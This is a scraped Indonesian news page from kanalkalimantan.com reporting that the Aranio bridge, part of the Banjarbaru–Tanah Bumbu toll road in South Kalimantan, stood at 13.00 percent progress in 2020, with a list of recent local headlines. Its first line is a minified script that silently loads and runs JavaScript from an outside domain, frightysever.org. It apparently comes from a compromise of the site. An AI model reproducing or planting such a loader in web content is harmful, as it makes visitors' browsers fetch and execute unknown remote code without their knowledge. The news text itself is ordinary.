(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

Pembangunan Jembatan Aranio Baru Mencapai 13,00 Persen, Dikejar Rampung Sebelum Tutup Tahun


KANALKALIMANTAN.COM, BANJARBARU – Pembangunan akses jalan bebas hambatan lintas daerah dari Kota Banjarbaru ke Kabupaten Tanah Bumbu, masih terus dikerjakan. Megaproyek jalan tol sepanjang 160 kilometer tersebut kini berfokus pada pembangunan sejumlah jembatan sebagai akses penghubung ruas jalan.

Salah satunya yakni pembangunan jembatan Aranio, yang bertujuan menyatukan dua ruas jalan yang terpisah oleh sungai Riam Kanan, di Desa Awang Bangkal, Kecamatan Karang Intan, Kabupaten Banjar. Proyek pembangunan jembatan Aranio sendiri telah dimulai sejak akhir Mei lalu.

Kepala Bidang (Kabid) Bina Marga Dinas PUPR Provinsi Kalsel, Yasin Toyib mengatakan, progres pembangunan jembatan Aranio telah mencapai 13,00 persen, memasuki minggu ke-13 atau tepatnya 26 Agustus lalu.

“Di minggu ke-13, kita mengerjakan bore pile. Lalu, juga memasang batu oprit,” katanya, ditemui Jumat (11/9/2020) siang.

Memang diakui Yasin progres pembangunan jembatan tersebut mengalami keterlambatan dari target yang ditentukan oleh pihaknya. Sebab, jika mengacu pada kesepakatan, progres pembangunan jembatan Aranio di Minggu ke-13 sebenarnya ditargetkan mencapai 16,45 persen.

“Targetnya sebenarnya 16,45 persen. Tapi yang terealisasi hanya 13,00 persen. Artinya terjadi devisiasi -penyimpangan- sebesar 3,45 persen,” paparnya.

Lalu apa penyebabnya? Yasin menjelaskan, hal tersebut tak lepas dari efek kondisi pandemi Covid-19. Dirinya sendiri tak membantah munculnya kendala di lapangan, sejak merebaknya pandemi. Namun, ia memastikan seiring berjalannya waktu masalah tersebut berhasil diatasi.

“Dengan melihat kondisi saat ini, kita masih optimis pembangunan jembatan Aranio dapat rampung sesuai target yang kita tentukan,” tukasnya.

Pembangunan jembatan Aranio ditargetkan rampung pada Desember mendatang. Pemprov Kalsel mengucurkan dana sebesar Rp 32,9 miliar bersumber dari APBD 2020, dalam untuk membangun jembatan tersebut. Jembatan Aranio ini memiliki panjang 123,640 meter dan lebar 9,00 meter. (kanalkalimantan.com/rico)

 

Reporter: Rico
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.